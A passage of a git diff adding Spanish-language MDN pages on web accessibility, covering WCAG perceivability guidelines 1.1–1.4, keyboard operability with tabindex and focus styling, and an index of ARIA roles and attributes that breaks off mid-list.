+    <p>Implementa elementos decorativos (imágenes o vídeos) de manera que sea invisibles para lectores de pantalla, de esta forma evitarás confundir a estos usuarios.</p>
+   </td>
+   <td>
+    <p>Las imágenes decorativas deben ser implementadas utilizando la propiedad <code>background-image</code><em>. </em>Si debes incluir una imagen con la etiqueta {{htmlelement("img")}} deberás agregarle un atributo <code>alt</code> vacío, de otra manera los lectores de pantalla podrían leerlo.</p>
+
+    <p>Si incluyes un vídeo o audio en tu sitio que se reproduce automáticamente intenta de que sea lo menos molesto posible. No hagas que se vea ni actúe como contenido y provee una forma de apagarlo.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: Ver también <a href="https://www.w3.org/TR/WCAG21/#text-alternatives">WCAG description for Guideline 1.1: Text alternatives</a>.</p>
+</div>
+
+<h2 id="Pauta_1.2_—_Proporcionar_alternativas_para_los_medios_tempo-dependientes.">Pauta 1.2 — Proporcionar alternativas para los medios tempo-dependientes.</h2>
+
+<p>Los medios tempo-dependientes se refieren a multimedia con una duración (audio y vídeo, por ejemplo). Ten en cuenta que si este contenido multimedia funciona como una alternativa a un contenido textual no necesitas proveer otra alternavtiva.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Criterio de éxito</th>
+   <th scope="col">Cómo cumplir</th>
+   <th scope="col">Recursos prácticos</th>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="1">1.2.1 Provee alternativas para multimedia de solo audio o solo vídeo (A)</td>
+   <td>A transcript should be provided for prerecorded audio-only media, and a transcript or audio description should be provided for prerecorded video-only media (i.e. silent video).</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a> for transcript information. No audio description tutorial available as yet.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.2 Provee captions para los vídeos (A)</td>
+   <td>You should provide captions for video presented on the web, e.g. HTML5 video. This is for the benefit of people who can't hear the audio part of the video.</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Video_text_tracks">Video text tracks</a> for HTML5 video captions, and <a href="/en-US/docs/Learn/Accessibility/Multimedia#Other_multimedia_content">Other multimedia content</a> for other technologies. See also <a href="https://support.google.com/youtube/answer/2734796?hl=en">Add your own subtitles &amp; closed captions</a> (YouTube).</td>
+  </tr>
+  <tr>
+   <td colspan="1">
+    <p>1.2.3 Provee texto alternativo o una descripción para el audio del vídeo (A)</p>
+   </td>
+   <td>You should provide text transcripts or audio descriptions for video presented on the web, e.g. HTML5 video. This is for the benefit of people who can't see the visual part of the video, and don't get the full content from the audio alone.</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a> for transcript information. No audio description tutorial available as yet.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.4 Provee captions para audio en vivo (AA)</td>
+   <td>You should provide synchronized captions for all live multimedia that contains audio (e.g. video conferences, live audio broadcasts.)</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.5 Provee descripciones de adio para vídeo pre-grabado (AA)</td>
+   <td>Audio descriptions should be provided for prerecorded video, but only where the existing audio does not convey the full meaning expressed by the video.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.6 Provee lenguaje de signos equivalente a el audio pre-grabado (AAA)</td>
+   <td>An equivalent sign language video should be provided for any prerecorded content containing audio.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.7 Provee un vídeo extendido con descripciones de audio (AAA)</td>
+   <td>Where audio descriptions cannot be provided (see 1.2.5) due to video timing issues (e.g. there are no suitable pauses in the content in which to insert the audio descriptions), an alternative version of the video should be provided that includes inserted pauses (and audio descriptions).</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.8 Provee una alternativa para los elementos multimedia pre-grabados (AAA)</td>
+   <td>For all content that features video, a descriptive text transcript should be provided, for example a script of the movie you are watching. This is for the benefit of hearing impaired viewers who cannot hear the content.</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a> for transcript information.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.2.9 Provee una transcripción para el audio en vivo (AAA)</td>
+   <td>For any live audio content being broadcast, a descriptive text should be provided, for example a script of the play or musical you are listening to. This is for the benefit of hearing impaired viewers who cannot hear the content.</td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/Multimedia#Audio_transcripts">Audio transcripts</a> for transcript information.</td>
+  </tr>
+ </thead>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: Ver también la descripción de <a href="https://www.w3.org/TR/WCAG21/#time-based-media">WCAG Guideline 1.2: Time-based Media: Provide alternatives for time-based media</a>.</p>
+</div>
+
+<h2 id="Pauta_1.3_—_Crear_contenido_que_pueda_presentarse_de_diferentes_formas">Pauta 1.3 — Crear contenido que pueda presentarse de diferentes formas</h2>
+
+<p>Esta pauta hace referencia a la posibilidad de que todo contenido pueda ser consumido de distintas formas, adaptándose a las necesidades del usuario.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Criterios de éxito</th>
+   <th scope="col">Cómo cumplir</th>
+   <th scope="col">Recursos prácticos</th>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="1">1.3.1 Info and relationships (A)</td>
+   <td>
+    <p>Any content structure — or visual relationship made between content —  can also be determined programmatically, or be inferred from text description. The main situations in which this is relevant are:</p>
+
+    <ul>
+     <li>Text labels and the form elements they describe are associated unambiguously using the {{htmlelement("label")}} element, which can be picked up by screenreaders, etc.</li>
+     <li>Image alt text — content images should have text available that clearly describes the image's contents, which can be programmatically associated with it (e.g. <code>alt</code> text), or otherwise is easy to associate (e.g. describes it and is sat right next to it). This should means that the full meaning can still be inferred even if you can't see the image.</li>
+     <li>Lists — if the order of list items is important, and ordered list should be used ({{htmlelement("ol")}}).</li>
+    </ul>
+   </td>
+   <td>The whole of
+    <p><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a> is packed with information about this, but you should particularly refer to <a href="/en-US/docs/Learn/Accessibility/HTML#Good_semantics">Good semantics</a>, <a href="/en-US/docs/Learn/Accessibility/HTML#UI_controls">UI controls</a>, and <a href="/en-US/docs/Learn/Accessibility/HTML#Text_alternatives">Text alternatives</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.2 Meaningful content sequence (A)</td>
+   <td>A sensible, logical reading order should be easy to determine for any content, even if it is visually presented in an unusual way. The order should be made obvious by use of correct semantic elements (e.g. headings, paragraphs), with CSS being used to create any unusual layout styles, irrespective of the markup.</td>
+   <td>Again, refer to <a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.3 Sensory characteristics (A)</td>
+   <td>
+    <p>Instructions for operating controls or understanding content do not rely on a single sense — this may prove inaccessible to people with a disability related to that sense, or a device that does not support that sense. So for example:</p>
+
+    <ul>
+     <li>"Click the round button to continue" — The button should be clearly labelled so that it is obvious that it is the button you need to press. If there are multiple buttons, make sure there are all clearly labelled to distinguish their function.</li>
+     <li>"Listen to the audio instructions for guidance" — This is obviously problematic — audio will be inaccessible to those with heading impairments, whereas text can be read, but also spoken by a screenreader if required.</li>
+     <li>"Swipe from the right hand side of the screen to reveal the menu" — some users might not be able to swipe the screen, either due to disability or because their device does not support touch. An alternative should be provided, such as a keyboard shortcut or button that can be activated by keyboard or other means.</li>
+    </ul>
+
+    <div class="note">
+    <p><strong>Note</strong>: Conveying instructions solely by color is related, but covered in a different guideline — 1.4.1.</p>
+    </div>
+   </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.4 Orientation (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>Content does not restrict its view and operation to a single display orientation, such as portrait or landscape, unless a specific display orientation is essential.</td>
+   <td>
+    <p><a href="https://www.w3.org/WAI/WCAG21/Understanding/orientation.html">Understanding Orientation</a> </p>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.5 Identify Input Purpose (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>
+    <p> </p>
+
+    <p>Follow the list of <a href="https://www.w3.org/TR/WCAG21/#input-purposes">53 input fields</a> to programmatically identify the purpose of a field.   </p>
+   </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/identify-input-purpose.html">Understanding Identify Input Purpose</a></td>
+  </tr>
+  <tr>
+   <td colspan="1">1.3.6 Identify Purpose (AAA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>In content implemented using markup languages, the purpose of User Interface Components, icons, and regions can be programmatically determined.</td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/identify-purpose.html">Understanding Identify Purpose</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: Ver también la descripción de WCAG: <a href="https://www.w3.org/TR/WCAG21/#adaptable">Guideline 1.3: Adaptable: Create content that can be presented in different ways without losing information or structure.</a></p>
+</div>
+
+<h2 id="Pauta_1.4_Facilitar_a_los_usuarios_ver_y_oír_el_contenido_incluyendo_la_separación_entre_el_primer_plano_y_el_fondo">Pauta 1.4: Facilitar a los usuarios ver y oír el contenido, incluyendo la separación entre el primer plano y el fondo</h2>
+
+<p>Esta pauta tiene como objetivo la creación de contenido que sea fácil de diferenciar del fondo y otras decoraciones. El ejemplo clásico es sobre color (tanto en relación al contraste como utilizarlo para transmitir información), pero aplica también en otras situaciones.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Criterios de éxito</th>
+   <th scope="col">Cómo cumplir</th>
+   <th scope="col">Recursos prácticos</th>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="1">1.4.1 Use of color (A)</td>
+   <td>
+    <p>Color should not be solely relied upon to convey information — for example, in forms you should never mark required fields purely with a color (like red). Instead (or as well as), something like an asterisk with a label of "required" would be more appropriate.</p>
+   </td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Color and color contrast</a> and <a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form#Multiple_labels">Multiple labels</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.2 Audio controls (A)</td>
+   <td>For any audio that plays for longer than three seconds, accessible controls should be provided to play and pause the audio/video, and mute/adjust volume.</td>
+   <td>Use native <code>&lt;button&gt;</code>s to provide accessible keyboard controls, as shown in <a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics">Video player syling basics</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.3 Minimum contrast (AA)</td>
+   <td>
+    <p>The color contrast between background and foreground content should be at a minimum level to ensure legibility:</p>
+
+    <ul>
+     <li>Text and its background should have a contrast ratio of at least 4.5.1.</li>
+     <li>Heading (or just larger) text should have a ratio of at least 3.1. Larger text is defined as at least 18pt, or 14pt bold.</li>
+    </ul>
+   </td>
+   <td>See <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Color and color contrast</a>.</td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.4 Resize text (AA)</td>
+   <td>The page should be readable and usable when the text size is doubled. This means that designs should be responsive, so that when the text size is increased, the content is still accessible.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.5 Images of text (AA)</td>
+   <td>Images should NOT be used to present content where text would do the job. For example, if an image is mostly textual, it could be represented using text as well as images.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.6 Enhanced contrast (AAA)</td>
+   <td>
+    <p>This follows, and builds on, criterion 1.4.3.</p>
+
+    <ul>
+     <li>Text and its background should have a contrast ratio of at least 7.1.</li>
+     <li>Heading (or just larger) text should have a ratio of at least 4.5.1. Larger text is defined as at least 18pt, or 14pt bold.</li>
+    </ul>
+   </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.7 Low or no background audio (AAA)</td>
+   <td>Prerecorded audio recordings that primarily feature speech should have minimal background noise, so the content can be easily understood.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.8 Visual presentation (AAA)</td>
+   <td>
+    <p>For text content presentation, the following should be true:</p>
+
+    <ul>
+     <li>Foreground and background colors should be user-selectable.</li>
+     <li>Text blocks should be no wider than 80 characters (or glyphs), for maximum readability.</li>
+     <li>Text should not be fully justified (e.g. <code>text-align: justify;</code>)</li>
+     <li>line height should be at least 1.5 times the text size within paragraphs (e.g. <code>line-height: 1.5;</code>), and at least 2.25 times the text size between paragraphs (e.g. <code>padding: 2.25rem;</code>)</li>
+     <li>When the text size is doubled, the content should not need to be scrolled.</li>
+    </ul>
+   </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.9 Images of text (No Exception) (AAA)</td>
+   <td>Text should not be presented as part of an image unless it is purely decoration (i.e. it does not convey any content), or cannot be presented in any other way.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.10 Reflow (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>
+    <ul>
+     <li>No horizontal scrolling for right-to-left languages (like English) or left-to-right languages (like Arabic)   </li>
+     <li>No vertical scrolling for top-to-bottom languages (like Japanese)</li>
+     <li>Except for parts of the content which require two-dimensional layout for usage or meaning (like a large data table).</li>
+    </ul>
+   </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/reflow.html">Understanding Reflow</a></td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.11 Non-Text Contrast(AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>Minimum color contrast ratio of 3 to 1 for user interface components and graphical objects. </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/non-text-contrast.html">Understanding Non-Text Contrast</a></td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.12 Text Spacing (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>
+    <p>No loss of content or functionality occurs when the following styles are applied: </p>
+
+    <ul>
+     <li>Line height (line spacing) to at least 1.5 times the font size;</li>
+     <li>Spacing following paragraphs to at least 2 times the font size;</li>
+     <li>Letter spacing (tracking) to at least 0.12 times the font size;</li>
+     <li>Word spacing to at least 0.16 times the font size.</li>
+    </ul>
+   </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/text-spacing.html">Understanding Text Spacing</a></td>
+  </tr>
+  <tr>
+   <td colspan="1">1.4.13 Content on Hover or Focus (AA) <em><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1">added in 2.1</a></em></td>
+   <td>
+    <p>Additional content appear and disappear in coordination with hover and keyboard focus, this success criterion specifies three conditions that must be met:</p>
+
+    <ul>
+     <li>dismissable (can be closed/removed)</li>
+     <li>hoverable (the additional content does not disappear when the pointer is over it) </li>
+     <li>persistent (the additional content does not disappear without user action)</li>
+    </ul>
+   </td>
+   <td><a href="https://www.w3.org/WAI/WCAG21/Understanding/content-on-hover-or-focus.html">Understanding Content on Hover or Focus</a></td>
+  </tr>
+ </thead>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: Ver también la descripción de WCAG: <a href="https://www.w3.org/TR/WCAG21/#distinguishable">Guideline 1.4: Distinguishable: Make it easier for users to see and hear content including separating foreground from background.</a><a href="https://www.w3.org/TR/WCAG21/#distinguishable">.</a></p>
+</div>
diff --git a/files/es/web/accesibilidad/understanding_wcag/teclado/index.html b/files/es/web/accesibilidad/understanding_wcag/teclado/index.html
new file mode 100644
index 0000000000..239dd6727b
--- /dev/null
+++ b/files/es/web/accesibilidad/understanding_wcag/teclado/index.html
@@ -0,0 +1,92 @@
+---
+title: Teclado (Keyboard)
+slug: Web/Accesibilidad/Understanding_WCAG/Teclado
+tags:
+  - Accesibilidad
+  - teclado
+translation_of: Web/Accessibility/Understanding_WCAG/Keyboard
+---
+<div>Para ser completamente accesible, una página web debe ser operable por alguién utilizando únicamente un teclado para acceder y controlarla. Esto incluye usuarios de lectores de pantalla, pero también puede incluir a quienes tienen dificultades utilizando un dispositivo apuntador como un ratón o una bola de rastreo, o aquellos cuyo ratón no esta funcionando temporalmente, o la gente que simplemente prefiere usar un teclado como entrada siempre que les sea posible.</div>
+
+<h2 id="Los_elementos_enfocables_deben_tener_una_semántica_interactiva">Los elementos enfocables deben tener una semántica interactiva</h2>
+
+<p>Si un elemento puede ser enfocado utilizando un teclado, entonces debería ser interactivo, es decir, el usuario debería ser capaz de hacer algo y producir un cambio de algún tipo (por ejemplo, activar un enlace o cambiar una opción).</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota: </strong>Una excepción importante a esta regla es si el elemento tiene aplicado <code>role="document"</code>, <strong>dentro </strong>un contexto interactivo (como un <code>role="application"</code>). En tal caso, enfocar el documento anidado es la única forma de devolver la tecnología de asistencia a un estado de no interactividad (comúnmente llamado "modo navegador").</p>
+</div>
+
+<p>La mayoría de los elementos son enfocables por defecto, y se puede hacer que un elemento sea enfocable al añadir el atributo <code>tabindex=0</code>. Sin embargo, sólo se debería añadir <code>tabindex</code> si el elemento también se hace interactivo, por ejemplo, definiendo los eventos de teclado apropiados para los manejadores de eventos.</p>
+
+<h3 id="Ver_también">Ver también</h3>
+
+<ul>
+ <li>Atributo HTML global <a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a></li>
+ <li>Manejador de evento global: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li>
+ <li>Manejador de evento global: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li>
+</ul>
+
+<h2 id="Evitar_usar_el_atributo_tabindex_con_un_valor_mayor_a_cero">Evitar usar el atributo <code>tabindex</code> con un valor mayor a cero</h2>
+
+<p>El atributo <code>tabindex</code> indica que un elemento es enfocable utilizando el teclado. Un valor de cero indica que el elemento es parte del orden de enfoque normal, que está basado en el orden de los elementos en el documento HTML. Un valor positivo pone al elemento adelante de aquellos con el orden normal; elementos con valores positivos son enfocados en el orden del valor de <code>tabindex</code> (1, luego 2, después 3, etc.).</p>
+
+<p>Esto genera una confusión para usuarios que solo usen el teclado cuando el orden del enfoque difiera al orden lógico de la página. Una mejor estrategia es estructurar el documento HTML para que los elementos enfocables estén es un orden lógico, sin la necesidad de reordenarlos con un valor positivo de <code>tabindex</code>.</p>
+
+<h3 id="Ver_también_2">Ver también</h3>
+
+<ul>
+ <li>Atributo HTML globlal <a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a></li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/focus-order.html">Entendiento el orden del enfoque</a></li>
+ <li><a href="http://adrianroselli.com/2014/11/dont-use-tabindex-greater-than-0.html">No use un tabindex mayor que 0</a></li>
+</ul>
+
+<h2 id="Los_elementos_a_los_que_se_les_puede_hacer_click_deben_ser_enfocables_y_deberían_tener_semánticas_interactivas">Los elementos a los que se les puede hacer click deben ser enfocables y deberían tener semánticas interactivas</h2>
+
+<p>Si a un elemento se le puede hacer click con un dispositivo apuntador, como un ratón, entonces también debería enfocable utilizando el teclado, y el usuario debería ser capaz de hacer algo al interactuar con este.</p>
+
+<p>A un elemento se le puede hacer click si tiene in manejador de evento<code> onclick</code> definido. Se puede hacer enfocable al añadir un atributo-valor <code>tabindex=0</code>. Se puede hacer que se opere con un teclado al definir un manejador de evento <code>onkeydown</code>; en la mayoría de los casos, la acción tomada por el manejador de eventos debería ser la misma para los dos tipos de eventos</p>
+
+<h3 id="Ver_también_3">Ver también</h3>
+
+<ul>
+ <li>El atributo global HTML <a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a></li>
+ <li>Manejador de evento global: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li>
+ <li>Manejador de evento global: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li>
+</ul>
+
+<h2 id="Los_elementos_interactivos_deben_ser_capaz_de_ser_activos_utilizando_un_teclado">Los elementos interactivos deben ser capaz de ser activos utilizando un teclado</h2>
+
+<p>Si el usuario puede interactuar con un elemento utilizando el tacto o un dispositivo apuntador, entonces el elemento debería ser también capaz de interactuar con el teclado, Es decir, si hay manejadores de evento definidos para los eventos al tacto y al hacer click, también debería haber manejadores de eventos para el teclado. Los manejadores de eventos para el teclado deberían realizar la misma interacción que sus contrapartes con el tacto y al hacer click.</p>
+
+<h3 id="Ver_también_4">Ver también</h3>
+
+<ul>
+ <li>Manejador de evento global: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li>
+ <li>Manejador de evento global: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li>
+</ul>
+
+<h2 id="Los_elementos_interactivos_deben_ser_enfocables">Los elementos interactivos deben ser enfocables</h2>
+
+<p>Si el usuario puede interactuar con un elemento (por ejemplo, usando el tacto o con un dispositivo apuntador) entonces debería ser enfocable utilizando el teclado. Puede hacerse enfocable al añadirle el atributo-valor<code> tabindex=0</code>. Eso añadirá el elemento a la lista de elementos que pueden ser enfocados al presionar la tecla <kbd>Tab</kbd>, en la secuencia en que dichos elementos se encuentran definidos en el documento HTML.</p>
+
+<h3 id="Ver_también_5">Ver también</h3>
+
+<ul>
+ <li>Atributo global HTML <a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a></li>
+</ul>
+
+<h2 id="Elementos_enfocables_deben_tener_un_estilo_al_estar_enfocados">Elementos enfocables deben tener un estilo al estar enfocados</h2>
+
+<p>Cualquier elemento que pueda recibir el enfoque desde el teclado, debería tener un estilo visible que indique cuando el elemento esta enfocado. Se puede hacer esto con la pseudo-clase de CSS <code><a href="/en-US/docs/Web/CSS/:focus">:focus</a></code>.</p>
+
+<p>Elementos enfocables estándar como enlaces y los campos de entrada reciben un estilo especial por parte del navegador de forma predeterminada, por lo que podría no ser necesario especificar un estilo de enfoque para éstos, a menos que se quiera que el estilo de enfoque sea más distintivo.</p>
+
+<p>Si se crean componentes enfocables, se debe estar seguro de que también se defina el estilo de enfoque para éstos.</p>
+
+<p>If you create your own focusable components, be sure that you also define focus styling for them.</p>
+
+<h3 id="Ver_también_6">Ver también</h3>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Techniques/css/C15.html">Utilizando CSS para cambiar la presentación de un componente UI cuando reciba el enfoque</a></li>
+</ul>
diff --git a/files/es/web/accessibility/aria/aria_techniques/index.html b/files/es/web/accessibility/aria/aria_techniques/index.html
new file mode 100644
index 0000000000..54605f5a65
--- /dev/null
+++ b/files/es/web/accessibility/aria/aria_techniques/index.html
@@ -0,0 +1,137 @@
+---
+title: ARIA techniques
+slug: Web/Accessibility/ARIA/ARIA_Techniques
+tags:
+  - ARIA
+  - Accessibility
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/Accessibility/ARIA/ARIA_Techniques
+---
+<h3 id="Roles">Roles</h3>
+
+<h4 id="Widget_roles">Widget roles</h4>
+
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_alert_role" title="Using the alert role">Alert</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_alertdialog_role" title="Using the alertdialog role">Alertdialog</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role" title="en/ARIA/ARIA_Techniques/Using_the_button_role">Button</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_checkbox_role" title="en/ARIA/ARIA_Techniques/Using_the_checkbox_role">Checkbox</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_dialog_role" title="Using the dialog role">Dialog</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_link_role" title="en/ARIA/ARIA_Techniques/Using_the_link_role">Link</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_log_role" title="en/ARIA/ARIA_Techniques/Using_the_log_role">Log</a></li>
+ <li>Marquee</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_progressbar_role" title="en/ARIA/ARIA_Techniques/Using_the_progressbar_role">Progressbar</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="en/ARIA/ARIA_Techniques/Using_the_radio_role">Radio</a></li>
+ <li>Scrollbar</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_slider_role" title="en/ARIA/ARIA_Techniques/Using_the_slider_role">Slider</a></li>
+ <li>Spinbutton</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role" title="Using the link role">status</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_switch_role">switch</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_textbox_role" title="en/ARIA/ARIA_Techniques/Using_the_textbox_role">textbox</a></li>
+ <li>Timer</li>
+ <li>Tooltip</li>
+</ul>
+
+<h4 id="Composite_roles">Composite roles</h4>
+
+<p>The techniques below describes each composite role as well as their required and optional child roles.</p>
+
+<ul>
+ <li>Grid (including row, gridcell, rowheader, columnheader roles)</li>
+ <li>Menubar / Menu (including menuitem, menuitemcheckbox, menuitemradio)</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="en/ARIA/ARIA_Techniques/Using_the_listbox_role">Listbox</a> (including option role)</li>
+ <li>Tablist (including tab and  tabpanel roles)</li>
+ <li>Tree (including group and treeitem roles)</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_radio_role" title="en/ARIA/ARIA_Techniques/Using_the_radio_role">Radiogroup (see radio role)</a></li>
+ <li>Treegrid</li>
+</ul>
+
+<h4 id="Document_structure_roles">Document structure roles</h4>
+
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_article_role" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_article_role">Article</a></li>
+ <li>Definition</li>
+ <li>Directory</li>
+ <li>Document</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_group_role" title="en/ARIA/ARIA_Techniques/Using_the_group_role">Group</a></li>
+ <li>Heading</li>
+ <li>Img</li>
+ <li>List, listitem</li>
+ <li>Math</li>
+ <li>Note</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role" title="en/ARIA/ARIA_Techniques/Using_the_presentation_role">Presentation</a></li>
+ <li>Region</li>
+ <li>Separator</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_toolbar_role" title="en/ARIA/ARIA_Techniques/Using_the_toolbar_role">Toolbar</a></li>
+</ul>
+
+<h4 id="Landmark_roles">Landmark roles</h4>
+
+<ul>
+ <li>Application</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_banner_role" title="en/ARIA/ARIA_Techniques/Using_the_banner_role">Banner</a></li>
+ <li>Complementary</li>
+ <li>Contentinfo</li>
+ <li>Form</li>
+ <li>Main</li>
+ <li>Navigation</li>
+ <li>Search</li>
+</ul>
+
+<h3 id="States_and_properties">States and properties</h3>
+
+<h4 id="Widget_attributes">Widget attributes</h4>
+
+<ul>
+ <li>aria-autocomplete</li>
+ <li>aria-checked</li>
+ <li>aria-disabled</li>
+ <li>aria-expanded</li>
+ <li>aria-haspopup</li>
+ <li>aria-hidden</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-invalid_attribute" title="Using the aria-invalid attribute">aria-invalid</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute" title="Using the aria-labelledby attribute">aria-label</a></li>
+ <li>aria-level</li>
+ <li>aria-multiline</li>
+ <li>aria-multiselectable</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-orientation_attribute">aria-orientation</a></li>
+ <li>aria-pressed</li>
+ <li>aria-readonly</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-required_attribute" title="Using the aria-required property">aria-required</a></li>
+ <li>aria-selected</li>
+ <li>aria-sort</li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemax_attribute" title="Using the aria-required attribute">aria-valuemax</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuemin_attribute">aria-valuemin</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuenow_attribute">aria-valuenow</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-valuetext_attribute">aria-valuetext</a></li>
+</ul>
+
+<h4 id="Live_region_attributes">Live region attributes</h4>
+
+<ul>
+ <li>aria-live</li>
